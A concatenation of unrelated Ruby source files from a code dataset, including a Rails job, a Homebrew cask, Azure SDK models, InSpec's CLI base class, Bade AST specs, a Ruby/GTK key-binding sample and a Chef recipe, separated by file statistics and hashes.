class StopJobOnBuildServerJob < ApplicationJob queue_as :default def perform(project_id, *job_names) prj = Project.find(project_id) build_server = prj.build_server job_names.each {|job_name| build_server.api_client.job.stop_build(job_name) if build_server.api_client.job.exists?(job_name) logger.info("Stopped job: #{job_name} on #{build_server.named}") } end end
26.733333
103
0.735661
87d244962a047eee2017bca6e08e860b7a3f99b8
50
def perform w = 1 ensure w end puts perform
5.555556
12
0.66
33010550c9cd48855a608edf61bafd5582ed0ae3
591
cask 'camtasia' do version '2018.0.2,143' sha256 'c10c10f76e28eda0154a074b59417518f06b1bd8daa305d3450798554517bc16' # rink.hockeyapp.net/api/2/apps/5d440dc130030d8a5db2ee6265d8df09 was verified as official when first introduced to the cask url "https://rink.hockeyapp.net/api/2/apps/5d440dc130030d8a5db2ee6265d8df09/app_versions/#{version.after_comma}?format=zip" appcast 'https://rink.hockeyapp.net/api/2/apps/5d440dc130030d8a5db2ee6265d8df09' name 'Camtasia' homepage 'https://www.techsmith.com/camtasia.html' auto_updates true app "Camtasia #{version.major}.app" end
39.4
125
0.800338
4a45cb1b5caec7f67c33988bc652e1bb20e922ed
1,235
module Cryptoexchange::Exchanges module CoinEgg module Services class Market < Cryptoexchange::Services::Market class << self def supports_individual_ticker_query? true end end def fetch(market_pair) output = super(ticker_url(market_pair)) adapt(output, market_pair) end def ticker_url(market_pair) "#{Cryptoexchange::Exchanges::CoinEgg::Market::API_URL}/api/v1/ticker?coin=#{market_pair.base.downcase}" end def adapt(output, market_pair) ticker = Cryptoexchange::Models::Ticker.new ticker.base = market_pair.base ticker.target = market_pair.target ticker.market = CoinEgg::Market::NAME ticker.ask = NumericHelper.to_d(output['sell']) ticker.bid = NumericHelper.to_d(output['buy']) ticker.last = NumericHelper.to_d(output['last']) ticker.high = NumericHelper.to_d(output['high']) ticker.low = NumericHelper.to_d(output['low']) ticker.volume = NumericHelper.to_d(output['vol']) ticker.timestamp = nil ticker.payload = output ticker end end end end end
30.875
114
0.608907
ed1cde7f76190eeeb3edeb6eaf05f5530f680b35
3,469
# Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Logic::Mgmt::V2018_07_01_preview module Models # # The integration account session. # class IntegrationAccountSession < Resource include MsRestAzure # @return [DateTime] The created time. attr_accessor :created_time # @return [DateTime] The changed time. attr_accessor :changed_time # @return The session content. attr_accessor :content # # Mapper for IntegrationAccountSession class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'IntegrationAccountSession', type: { name: 'Composite', class_name: 'IntegrationAccountSession', model_properties: { id: { client_side_validation: true, required: false, read_only: true, serialized_name: 'id', type: { name: 'String' } }, name: { client_side_validation: true, required: false, read_only: true, serialized_name: 'name', type: { name: 'String' } }, type: { client_side_validation: true, required: false, read_only: true, serialized_name: 'type', type: { name: 'String' } }, location: { client_side_validation: true, required: false, serialized_name: 'location', type: { name: 'String' } }, tags: { client_side_validation: true, required: false, serialized_name: 'tags', type: { name: 'Dictionary', value: { client_side_validation: true, required: false, serialized_name: 'StringElementType', type: { name: 'String' } } } }, created_time: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.createdTime', type: { name: 'DateTime' } }, changed_time: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.changedTime', type: { name: 'DateTime' } }, content: { client_side_validation: true, required: false, serialized_name: 'properties.content', type: { name: 'Object' } } } } } end end end end
28.669421
70
0.433554
392eb6aadb1201d2fd2e83ff9995183135fcb5f6
377
# frozen_string_literal: true # after modify stack, generate new stack Stack = Struct.new(:contents) do def push(character) # new character in the head Stack.new([character] + contents) end def pop # drop head Stack.new(contents.drop(1)) end def top contents.first end def inspect "#<Stack (#{top})#{contents.drop(1).join}>" end end
16.391304
47
0.655172
b9e1c29ed6351498dea5332efa308311b88119da
290
module Fog module Network class StormOnDemand class Real def set_default_zone(options={}) request( :path => '/Network/Zone/setDefault', :body => Fog::JSON.encode(:params => options) ) end end end end end
17.058824
57
0.524138
e24f58aa7805d8f53f373f600b41307d5ac48de3
14,492
# encoding: utf-8 # author: Christoph Hartmann # author: Dominik Richter require 'thor' require 'inspec/log' require 'inspec/profile_vendor' require 'inspec/ui' # Allow end of options during array type parsing # https://github.com/erikhuda/thor/issues/631 class Thor::Arguments def parse_array(_name) return shift if peek.is_a?(Array) array = [] while current_is_value? break unless @parsing_options array << shift end array end end module Inspec class BaseCLI < Thor class << self attr_accessor :inspec_cli_command end # https://github.com/erikhuda/thor/issues/244 def self.exit_on_failure? true end def self.target_options # rubocop:disable MethodLength option :target, aliases: :t, type: :string, desc: 'Simple targeting option using URIs, e.g. ssh://user:pass@host:port' option :backend, aliases: :b, type: :string, desc: 'Choose a backend: local, ssh, winrm, docker.' option :host, type: :string, desc: 'Specify a remote host which is tested.' option :port, aliases: :p, type: :numeric, desc: 'Specify the login port for a remote scan.' option :user, type: :string, desc: 'The login user for a remote scan.' option :password, type: :string, lazy_default: -1, desc: 'Login password for a remote scan, if required.' option :enable_password, type: :string, lazy_default: -1, desc: 'Password for enable mode on Cisco IOS devices.' option :key_files, aliases: :i, type: :array, desc: 'Login key or certificate file for a remote scan.' option :path, type: :string, desc: 'Login path to use when connecting to the target (WinRM).' option :sudo, type: :boolean, desc: 'Run scans with sudo. Only activates on Unix and non-root user.' option :sudo_password, type: :string, lazy_default: -1, desc: 'Specify a sudo password, if it is required.' option :sudo_options, type: :string, desc: 'Additional sudo options for a remote scan.' option :sudo_command, type: :string, desc: 'Alternate command for sudo.' option :shell, type: :boolean, desc: 'Run scans in a subshell. Only activates on Unix.' option :shell_options, type: :string, desc: 'Additional shell options.' option :shell_command, type: :string, desc: 'Specify a particular shell to use.' option :ssl, type: :boolean, desc: 'Use SSL for transport layer encryption (WinRM).' option :self_signed, type: :boolean, desc: 'Allow remote scans with self-signed certificates (WinRM).' option :winrm_transport, type: :string, default: 'negotiate', desc: 'Specify which transport to use, defaults to negotiate (WinRM).' option :winrm_disable_sspi, type: :boolean, desc: 'Whether to use disable sspi authentication, defaults to false (WinRM).' option :winrm_basic_auth, type: :boolean, desc: 'Whether to use basic authentication, defaults to false (WinRM).' option :json_config, type: :string, desc: 'Read configuration from JSON file (`-` reads from stdin).' option :proxy_command, type: :string, desc: 'Specifies the command to use to connect to the server' option :bastion_host, type: :string, desc: 'Specifies the bastion host if applicable' option :bastion_user, type: :string, desc: 'Specifies the bastion user if applicable' option :bastion_port, type: :string, desc: 'Specifies the bastion port if applicable' option :insecure, type: :boolean, default: false, desc: 'Disable SSL verification on select targets' option :target_id, type: :string, desc: 'Provide a ID which will be included on reports' end def self.profile_options option :profiles_path, type: :string, desc: 'Folder which contains referenced profiles.' option :vendor_cache, type: :string, desc: 'Use the given path for caching dependencies. (default: ~/.inspec/cache)' end def self.exec_options target_options profile_options option :controls, type: :array, desc: 'A list of control names to run, or a list of /regexes/ to match against control names. Ignore all other tests.' option :reporter, type: :array, banner: 'one two:/output/file/path', desc: 'Enable one or more output reporters: cli, documentation, html, progress, json, json-min, json-rspec, junit, yaml' option :attrs, type: :array, desc: 'Load attributes file (experimental)' option :create_lockfile, type: :boolean, desc: 'Write out a lockfile based on this execution (unless one already exists)' option :backend_cache, type: :boolean, desc: 'Allow caching for backend command output. (default: true)' option :show_progress, type: :boolean, desc: 'Show progress while executing tests.' option :distinct_exit, type: :boolean, default: true, desc: 'Exit with code 101 if any tests fail, and 100 if any are skipped (default). If disabled, exit 0 on skips and 1 for failures.' end def self.default_options { exec: { 'reporter' => ['cli'], 'show_progress' => false, 'color' => true, 'create_lockfile' => true, 'backend_cache' => true, }, shell: { 'reporter' => ['cli'], }, } end def self.parse_reporters(opts) # rubocop:disable Metrics/AbcSize # default to cli report for ad-hoc runners opts['reporter'] = ['cli'] if opts['reporter'].nil? # parse out cli to proper report format if opts['reporter'].is_a?(Array) reports = {} opts['reporter'].each do |report| reporter_name, target = report.split(':', 2) if target.nil? || target.strip == '-' reports[reporter_name] = { 'stdout' => true } else reports[reporter_name] = { 'file' => target, 'stdout' => false, } reports[reporter_name]['target_id'] = opts['target_id'] if opts['target_id'] end end opts['reporter'] = reports end # add in stdout if not specified if opts['reporter'].is_a?(Hash) opts['reporter'].each do |reporter_name, config| opts['reporter'][reporter_name] = {} if config.nil? opts['reporter'][reporter_name]['stdout'] = true if opts['reporter'][reporter_name].empty? opts['reporter'][reporter_name]['target_id'] = opts['target_id'] if opts['target_id'] end end validate_reporters(opts['reporter']) opts end def self.validate_reporters(reporters) return if reporters.nil? valid_types = [ 'automate', 'cli', 'documentation', 'html', 'json', 'json-automate', 'json-min', 'json-rspec', 'junit', 'progress', 'yaml', ] reporters.each do |k, v| raise NotImplementedError, "'#{k}' is not a valid reporter type." unless valid_types.include?(k) next unless k == 'automate' %w{token url}.each do |option| raise Inspec::ReporterError, "You must specify a automate #{option} via the json-config." if v[option].nil? end end # check to make sure we are only reporting one type to stdout stdout = 0 reporters.each_value do |v| stdout += 1 if v['stdout'] == true end raise ArgumentError, 'The option --reporter can only have a single report outputting to stdout.' if stdout > 1 end def self.detect(params: {}, indent: 0, color: 39) str = '' params.each { |item, info| data = info # Format Array for better output if applicable data = data.join(', ') if data.is_a?(Array) # Do not output fields of data is missing ('unknown' is fine) next if data.nil? data = "\e[1m\e[#{color}m#{data}\e[0m" str << format("#{' ' * indent}%-10s %s\n", item.to_s.capitalize + ':', data) } str end # These need to be public methods on any BaseCLI instance, # but Thor interprets all methods as subcommands. The no_commands block # treats them as regular methods. no_commands do def ui return @ui if defined?(@ui) # Make a new UI object, respecting context if options[:color].nil? enable_color = true # If the command does not support the color option, default to on else enable_color = options[:color] end # UI will probe for TTY if nil - just send the raw option value enable_interactivity = options[:interactive] @ui = Inspec::UI.new(color: enable_color, interactive: enable_interactivity) end # Rationale: converting this to attr_writer breaks Thor def ui=(new_ui) # rubocop: disable Style/TrivialAccessors @ui = new_ui end def mark_text(text) # TODO: - deprecate, call cli.ui directly # Note that this one doesn't automatically print ui.emphasis(text, print: false) end def headline(title) # TODO: - deprecate, call cli.ui directly ui.headline(title) end def li(entry) # TODO: - deprecate, call cli.ui directly ui.list_item(entry) end def plain_text(msg) # TODO: - deprecate, call cli.ui directly ui.plain(msg + "\n") end def exit(code) # TODO: - deprecate, call cli.ui directly ui.exit code end end private def suppress_log_output?(opts) return false if opts['reporter'].nil? match = %w{json json-min json-rspec json-automate junit html yaml documentation progress} & opts['reporter'].keys unless match.empty? match.each do |m| # check to see if we are outputting to stdout return true if opts['reporter'][m]['stdout'] == true end end false end def diagnose(opts) return unless opts['diagnose'] puts "InSpec version: #{Inspec::VERSION}" puts "Train version: #{Train::VERSION}" puts 'Command line configuration:' pp options puts 'JSON configuration file:' pp options_json puts 'Merged configuration:' pp opts puts end def opts(type = nil) o = merged_opts(type) # Due to limitations in Thor it is not possible to set an argument to be # both optional and its value to be mandatory. E.g. the user supplying # the --password argument is optional and not always required, but # whenever it is used, it requires a value. Handle options that were # defined above and require a value here: %w{password sudo-password}.each do |v| id = v.tr('-', '_').to_sym next unless o[id] == -1 raise ArgumentError, "Please provide a value for --#{v}. For example: --#{v}=hello." end # Infer `--sudo` if using `--sudo-password` without `--sudo` if o[:sudo_password] && !o[:sudo] o[:sudo] = true warn 'WARN: `--sudo-password` used without `--sudo`. Adding `--sudo`.' end # check for compliance settings if o['compliance'] require 'plugins/inspec-compliance/lib/inspec-compliance/api' InspecPlugins::Compliance::API.login(o['compliance']) end o end def merged_opts(type = nil) opts = {} # start with default options if we have any opts = BaseCLI.default_options[type] unless type.nil? || BaseCLI.default_options[type].nil? opts['type'] = type unless type.nil? Inspec::BaseCLI.inspec_cli_command = type # merge in any options from json-config json_config = options_json opts.merge!(json_config) # merge in any options defined via thor opts.merge!(options) # parse reporter options opts = BaseCLI.parse_reporters(opts) if %i(exec shell).include?(type) Thor::CoreExt::HashWithIndifferentAccess.new(opts) end def options_json conffile = options['json_config'] @json ||= conffile ? read_config(conffile) : {} end def read_config(file) if file == '-' puts 'WARN: reading JSON config from standard input' if STDIN.tty? config = STDIN.read else config = File.read(file) end JSON.parse(config) rescue JSON::ParserError => e puts "Failed to load JSON configuration: #{e}\nConfig was: #{config.inspect}" exit 1 end # get the log level # DEBUG < INFO < WARN < ERROR < FATAL < UNKNOWN def get_log_level(level) valid = %w{debug info warn error fatal} if valid.include?(level) l = level else l = 'info' end Logger.const_get(l.upcase) end def pretty_handle_exception(exception) case exception when Inspec::Error $stderr.puts exception.message exit(1) else raise exception end end def vendor_deps(path, opts) profile_path = path || Dir.pwd profile_vendor = Inspec::ProfileVendor.new(profile_path) if (profile_vendor.cache_path.exist? || profile_vendor.lockfile.exist?) && !opts[:overwrite] puts 'Profile is already vendored. Use --overwrite.' return false end profile_vendor.vendor! puts "Dependencies for profile #{profile_path} successfully vendored to #{profile_vendor.cache_path}" rescue StandardError => e pretty_handle_exception(e) end def configure_logger(o) # # TODO(ssd): This is a big gross, but this configures the # logging singleton Inspec::Log. Eventually it would be nice to # move internal debug logging to use this logging singleton. # loc = if o.log_location o.log_location elsif suppress_log_output?(o) STDERR else STDOUT end Inspec::Log.init(loc) Inspec::Log.level = get_log_level(o.log_level) o[:logger] = Logger.new(loc) # output json if we have activated the json formatter if o['log-format'] == 'json' o[:logger].formatter = Logger::JSONFormatter.new end o[:logger].level = get_log_level(o.log_level) end end end
33.238532
141
0.616616
26d67109e9f777927e4db53e0f92c6e80b144792
7,067
# frozen_string_literal: true require_relative '../helper' describe Bade::AST::Node do context '#==' do it 'equals correctly for same instances' do node1 = Bade::AST::Node.new(:random_tag_123) expect(node1).to eq node1 end it 'equals correctly for same types' do node1 = Bade::AST::Node.new(:random_tag_123) node2 = Bade::AST::Node.new(:random_tag_123) expect(node1).to eq node2 end it 'not equals correctly for different types' do node1 = Bade::AST::Node.new(:random_tag_123) node2 = Bade::AST::Node.new(:root) expect(node1).to_not eq node2 end end end describe Bade::AST::ValueNode do context '#==' do it 'equals correctly for same instances' do node1 = Bade::AST::ValueNode.new(:random_tag_123) node1.value = 'abc some text' expect(node1).to eq node1 end it 'equals correctly for same objects' do node1 = Bade::AST::ValueNode.new(:random_tag_123) node1.value = 'abc some text' node2 = Bade::AST::ValueNode.new(:random_tag_123) node2.value = 'abc some text' expect(node1).to eq node2 end it 'not equals correctly for different types' do node1 = Bade::AST::ValueNode.new(:random_tag_123) node2 = Bade::AST::ValueNode.new(:root) expect(node1).to_not eq node2 end it 'not equals correctly for same type with different values' do node1 = Bade::AST::ValueNode.new(:random_tag_123) node1.value = 'abc' node2 = Bade::AST::ValueNode.new(:random_tag_123) node2.value = 'xyz' expect(node1).to_not eq node2 end end end describe Bade::AST::StaticTextNode do context '#==' do it 'equals correctly for same instances' do node1 = Bade::AST::StaticTextNode.new(:random_tag_123) node1.value = 'abc some text' expect(node1).to eq node1 end it 'equals correctly for same objects' do node1 = Bade::AST::StaticTextNode.new(:random_tag_123) node1.value = 'abc some text' node2 = Bade::AST::StaticTextNode.new(:random_tag_123) node2.value = 'abc some text' expect(node1).to eq node2 end it 'not equals correctly for different types' do node1 = Bade::AST::StaticTextNode.new(:random_tag_123) node2 = Bade::AST::StaticTextNode.new(:root) expect(node1).to_not eq node2 end it 'not equals correctly for same type with different values' do node1 = Bade::AST::StaticTextNode.new(:random_tag_123) node1.value = 'abc' node2 = Bade::AST::StaticTextNode.new(:random_tag_123) node2.value = 'xyz' expect(node1).to_not eq node2 end end end describe Bade::AST::KeyValueNode do context '#==' do it 'equals correctly for same instances' do node1 = Bade::AST::KeyValueNode.new(:random_tag_123) node1.value = 'abc some text' expect(node1).to eq node1 end it 'equals correctly for same objects' do node1 = Bade::AST::KeyValueNode.new(:random_tag_123) node1.name = 'key' node1.value = 'abc some text' node2 = Bade::AST::KeyValueNode.new(:random_tag_123) node2.name = 'key' node2.value = 'abc some text' expect(node1).to eq node2 end it 'not equals correctly for different types' do node1 = Bade::AST::KeyValueNode.new(:random_tag_123) node2 = Bade::AST::KeyValueNode.new(:root) expect(node1).to_not eq node2 end it 'not equals correctly for same type with different values' do node1 = Bade::AST::KeyValueNode.new(:random_tag_123) node1.name = 'key' node1.value = 'abc' node2 = Bade::AST::KeyValueNode.new(:random_tag_123) node2.name = 'key' node2.value = 'xyz' expect(node1).to_not eq node2 end it 'not equals correctly for same type with different names' do node1 = Bade::AST::KeyValueNode.new(:random_tag_123) node1.name = 'key1' node1.value = 'abc' node2 = Bade::AST::KeyValueNode.new(:random_tag_123) node2.name = 'key2' node2.value = 'abc' expect(node1).to_not eq node2 end end end describe Bade::AST::DoctypeNode do context '#==' do it 'equals correctly for same instances' do node1 = Bade::AST::DoctypeNode.new(:random_tag_123) node1.value = 'abc some text' expect(node1).to eq node1 end it 'equals correctly for same objects' do node1 = Bade::AST::DoctypeNode.new(:random_tag_123) node1.value = 'abc some text' node2 = Bade::AST::DoctypeNode.new(:random_tag_123) node2.value = 'abc some text' expect(node1).to eq node2 end it 'not equals correctly for different types' do node1 = Bade::AST::DoctypeNode.new(:random_tag_123) node2 = Bade::AST::DoctypeNode.new(:root) expect(node1).to_not eq node2 end it 'not equals correctly for same type with different values' do node1 = Bade::AST::DoctypeNode.new(:random_tag_123) node1.value = 'abc' node2 = Bade::AST::DoctypeNode.new(:random_tag_123) node2.value = 'xyz' expect(node1).to_not eq node2 end end end describe Bade::AST::MixinCommonNode do context '#==' do it 'equals correctly for same instances' do node1 = Bade::AST::MixinCommonNode.new(:random_tag_123) node1.name = 'abc some text' expect(node1).to eq node1 end it 'equals correctly for same objects' do node1 = Bade::AST::MixinCommonNode.new(:random_tag_123) node1.name = 'abc' node2 = Bade::AST::MixinCommonNode.new(:random_tag_123) node2.name = 'abc' expect(node1).to eq node2 end it 'not equals correctly for different types' do node1 = Bade::AST::MixinCommonNode.new(:random_tag_123) node2 = Bade::AST::MixinCommonNode.new(:root) expect(node1).to_not eq node2 end it 'not equals correctly for same type with different names' do node1 = Bade::AST::MixinCommonNode.new(:random_tag_123) node1.name = 'abc' node2 = Bade::AST::MixinCommonNode.new(:random_tag_123) node2.name = 'xyz' expect(node1).to_not eq node2 end end end describe Bade::AST::TagNode do context '#==' do it 'equals correctly for same instances' do node1 = Bade::AST::TagNode.new(:random_tag_123) node1.name = 'abc some text' expect(node1).to eq node1 end it 'equals correctly for same objects' do node1 = Bade::AST::TagNode.new(:random_tag_123) node1.name = 'abc' node2 = Bade::AST::TagNode.new(:random_tag_123) node2.name = 'abc' expect(node1).to eq node2 end it 'not equals correctly for different types' do node1 = Bade::AST::TagNode.new(:random_tag_123) node2 = Bade::AST::TagNode.new(:root) expect(node1).to_not eq node2 end it 'not equals correctly for same type with different names' do node1 = Bade::AST::TagNode.new(:random_tag_123) node1.name = 'abc' node2 = Bade::AST::TagNode.new(:random_tag_123) node2.name = 'xyz' expect(node1).to_not eq node2 end end end
32.56682
68
0.652894
4ac6d3c1418948e0e6062679dfebb16a4979f1a6
12,086
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Consumption::Mgmt::V2019_10_01 module Models # # An marketplace resource. # class Marketplace < Resource include MsRestAzure # @return [String] The id of the billing period resource that the usage # belongs to. attr_accessor :billing_period_id # @return [DateTime] The start of the date time range covered by the # usage detail. attr_accessor :usage_start # @return [DateTime] The end of the date time range covered by the usage # detail. attr_accessor :usage_end # @return The marketplace resource rate. attr_accessor :resource_rate # @return [String] The type of offer. attr_accessor :offer_name # @return [String] The name of resource group. attr_accessor :resource_group # @return [String] The order number. attr_accessor :order_number # @return [String] The name of the resource instance that the usage is # about. attr_accessor :instance_name # @return [String] The uri of the resource instance that the usage is # about. attr_accessor :instance_id # @return [String] The ISO currency in which the meter is charged, for # example, USD. attr_accessor :currency # @return The quantity of usage. attr_accessor :consumed_quantity # @return [String] The unit of measure. attr_accessor :unit_of_measure # @return The amount of cost before tax. attr_accessor :pretax_cost # @return [Boolean] The estimated usage is subject to change. attr_accessor :is_estimated # @return The meter id (GUID). attr_accessor :meter_id # @return Subscription guid. attr_accessor :subscription_guid # @return [String] Subscription name. attr_accessor :subscription_name # @return [String] Account name. attr_accessor :account_name # @return [String] Department name. attr_accessor :department_name # @return [String] Consumed service name. attr_accessor :consumed_service # @return [String] The cost center of this department if it is a # department and a costcenter exists attr_accessor :cost_center # @return [String] Additional details of this usage item. By default this # is not populated, unless it's specified in $expand. attr_accessor :additional_properties # @return [String] The name of publisher. attr_accessor :publisher_name # @return [String] The name of plan. attr_accessor :plan_name # @return [Boolean] Flag indicating whether this is a recurring charge or # not. attr_accessor :is_recurring_charge # # Mapper for Marketplace class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'Marketplace', type: { name: 'Composite', class_name: 'Marketplace', model_properties: { id: { client_side_validation: true, required: false, read_only: true, serialized_name: 'id', type: { name: 'String' } }, name: { client_side_validation: true, required: false, read_only: true, serialized_name: 'name', type: { name: 'String' } }, type: { client_side_validation: true, required: false, read_only: true, serialized_name: 'type', type: { name: 'String' } }, tags: { client_side_validation: true, required: false, read_only: true, serialized_name: 'tags', type: { name: 'Dictionary', value: { client_side_validation: true, required: false, serialized_name: 'StringElementType', type: { name: 'String' } } } }, billing_period_id: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.billingPeriodId', type: { name: 'String' } }, usage_start: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.usageStart', type: { name: 'DateTime' } }, usage_end: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.usageEnd', type: { name: 'DateTime' } }, resource_rate: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.resourceRate', type: { name: 'Number' } }, offer_name: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.offerName', type: { name: 'String' } }, resource_group: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.resourceGroup', type: { name: 'String' } }, order_number: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.orderNumber', type: { name: 'String' } }, instance_name: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.instanceName', type: { name: 'String' } }, instance_id: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.instanceId', type: { name: 'String' } }, currency: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.currency', type: { name: 'String' } }, consumed_quantity: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.consumedQuantity', type: { name: 'Number' } }, unit_of_measure: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.unitOfMeasure', type: { name: 'String' } }, pretax_cost: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.pretaxCost', type: { name: 'Number' } }, is_estimated: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.isEstimated', type: { name: 'Boolean' } }, meter_id: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.meterId', type: { name: 'String' } }, subscription_guid: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.subscriptionGuid', type: { name: 'String' } }, subscription_name: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.subscriptionName', type: { name: 'String' } }, account_name: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.accountName', type: { name: 'String' } }, department_name: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.departmentName', type: { name: 'String' } }, consumed_service: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.consumedService', type: { name: 'String' } }, cost_center: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.costCenter', type: { name: 'String' } }, additional_properties: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.additionalProperties', type: { name: 'String' } }, publisher_name: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.publisherName', type: { name: 'String' } }, plan_name: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.planName', type: { name: 'String' } }, is_recurring_charge: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.isRecurringCharge', type: { name: 'Boolean' } } } } } end end end end
31.069409
79
0.458216
39bc530bfcea783caad56e07e5c90aa097d2e7c1
1,487
module Ttdrest module Concerns module IpTargetingList def get_ip_targeting_lists(options = {}) advertiser_id = self.advertiser_id || options[:advertiser_id] path = "/iptargetinglist/query/advertiser" params = { AdvertiserId: advertiser_id, PageStartIndex: 0, PageSize: nil } content_type = 'application/json' result = data_post(path, content_type, params.to_json) return result end def get_ip_targeting_list(ip_targeting_list_id, options = {}) path = "/iptargetinglist/#{ip_targeting_list_id}" params = {} result = get(path, params) return result end # ip_targeting_range_format [{:min_ip => '100.0.0.1', :max_ip => '100.0.0.2'}, {:min_ip => '100.0.0.3', :max_ip => '100.0.0.4'}] def create_ip_targeting_list(name, ip_targeting_ranges = [], options = {}) advertiser_id = self.advertiser_id || options[:advertiser_id] path = "/iptargetinglist" content_type = 'application/json' ip_list_data = [] ip_targeting_ranges.each do |range| ip_list_data << {"MinIP" => range[:min_ip], "MaxIP" => range[:max_ip]} end ip_targeting_data = { "AdvertiserId" => advertiser_id, "IPTargetingDataName" => name, "IPTargetingRanges" => ip_list_data } result = data_post(path, content_type, ip_targeting_data.to_json) return result end end end end
34.581395
134
0.622058
33ff32429ed72e44260b4cc37dfb9066a80a4c86
381
require "sequel" require "omoikane/logging" jobsdb_url = ENV["OMOIKANE_DATABASE_URL"] raise "Missing OMOIKANE_DATABASE_URL environment variable: can't connect to internal Omoikane database" unless jobsdb_url ENV["QUIET"] = "yes" if ARGV.delete("--quiet") DB = Sequel.connect(jobsdb_url, logger: ENV["QUIET"] == "yes" ? nil : logger) Sequel::Model.plugin :tactical_eager_loading
34.636364
121
0.766404
1a878b3a1602b07fefd9da543488cb451f9f9ae6
2,826
#!/usr/bin/env ruby =begin bindings.rb - Ruby/GTK sample script. Copyright (c) 2002-2006 Ruby-GNOME2 Project Team This program is licenced under the same licence as Ruby-GNOME2. $Id: bindings.rb,v 1.7 2006/06/17 13:18:12 mutoh Exp $ =end =begin Usage: bindings.rb <filename> Following key bindings are effective in the TextView area. <space> : scroll down by one page <backspace> : scroll up by one page j : move cursor donw by one line k : move cursor up by one line clicking buttons cause following effect "space" : same as pressing <space> in text view area. "back_space" : same as pressing <backspace> in text view area. "cancel j/k" : disable 'j' and 'k' binding =end require 'gtk2' class Pager < Gtk::TextView type_register # widget's key binding can be defined like this binding_set.add_signal(Gdk::Keyval::GDK_space, 0, "move_cursor", Gtk::MOVEMENT_PAGES, 1, false) binding_set.add_signal(Gdk::Keyval::GDK_BackSpace, 0, "move_cursor", Gtk::MOVEMENT_PAGES, -1, false) def initialize(path) @path = path super() @buffer = self.buffer load set_editable(false) set_size_request(400, 400) end def load open(@path).read.each_line do |line| @buffer.insert_at_cursor(line) end @buffer.place_cursor(@buffer.start_iter) end end path = ARGV[0] || __FILE__ window = Gtk::Window.new window.name = "pager_window" sw = Gtk::ScrolledWindow.new vbox = Gtk::VBox.new hbox = Gtk::HBox.new pager = Pager.new(path) hbox.add(button1 = Gtk::Button.new("space")) hbox.add(button2 = Gtk::Button.new("back_space")) hbox.add(button3 = Gtk::Button.new("cancel j/k")) button1.signal_connect("clicked") do Pager.binding_set.activate(Gdk::Keyval::GDK_space, 0, pager) end button2.signal_connect("clicked") do pager.bindings_activate(Gdk::Keyval::GDK_BackSpace, 0) end # Key bindings can be attached to any widget by # Gtk::BindingSet#add_path # see RC Files section of GTK+ documentation for more detail. bset = Gtk::BindingSet.new("j_and_k") bset.add_signal(Gdk::Keyval::GDK_j, 0, "move_cursor", Gtk::MOVEMENT_DISPLAY_LINES, 1, false) bset.add_signal(Gdk::Keyval::GDK_k, 0, "move_cursor", Gtk::MOVEMENT_DISPLAY_LINES, -1, false) bset.add_path(Gtk::PathType::WIDGET, "pager_window.*.Pager", Gtk::PathPriorityType::APPLICATION) button3.signal_connect("clicked") do bset.entry_clear(Gdk::Keyval::GDK_j, 0) bset.entry_clear(Gdk::Keyval::GDK_k, 0) end sw.add(pager) vbox.add(hbox).add(sw) window.add(vbox) window.show_all pager.grab_focus window.signal_connect("destroy") { Gtk.main_quit } Gtk.main
26.166667
66
0.66242
ac1f0d06eed47a6647875f08fb6c24d6fa08076e
1,167
## System setup # Hey neat - our packages have chef from main now # which means we can: package node['install_packages'] # Time and zone should match the host so that erlang's sync module plays nicely with rsync'd files. file "/etc/timezone" do content node["tz"] owner 'root' group 'root' mode 0644 notifies :run, 'bash[dpkg-reconfigure tzdata]' end bash 'dpkg-reconfigure tzdata' do user 'root' code "/usr/sbin/dpkg-reconfigure -f noninteractive tzdata" action :nothing end template "/etc/profile.d/omnibus-embedded.sh" do source "omnibus-embedded.sh.erb" owner "root" user "root" mode 0644 end template "/etc/sudoers" do source "sudoers" action :create owner "root" user "root" mode 0440 end file "/etc/update-motd.d/10-help-text" do action :delete end file "/etc/update-motd.d/91-release-upgrade" do action :delete end template "/etc/motd" do source "motd.erb" owner "root" user "root" mode 0644 end # It seems that we're getting an ssh configured to look for execute "generate ed25519 ssh host key" do command "dpkg-reconfigure openssh-server" not_if { File.exist?("/etc/ssh/ssh_host_ed25519_key") } end
20.839286
99
0.718937
ed643b89523af08f577440435c99a9829f6ef529
60
require 'bundler/setup' require 'rspec' require 'timed_lru'
15
23
0.783333
79c3a180b4ab1f770335f2bd190ed9c86ab6409e
72
# frozen_string_literal: true module GHtml2Pdf VERSION = "0.4.0" end
12
29
0.736111
bfb94f651544302057bd9a6990d81d86060ea00c
490
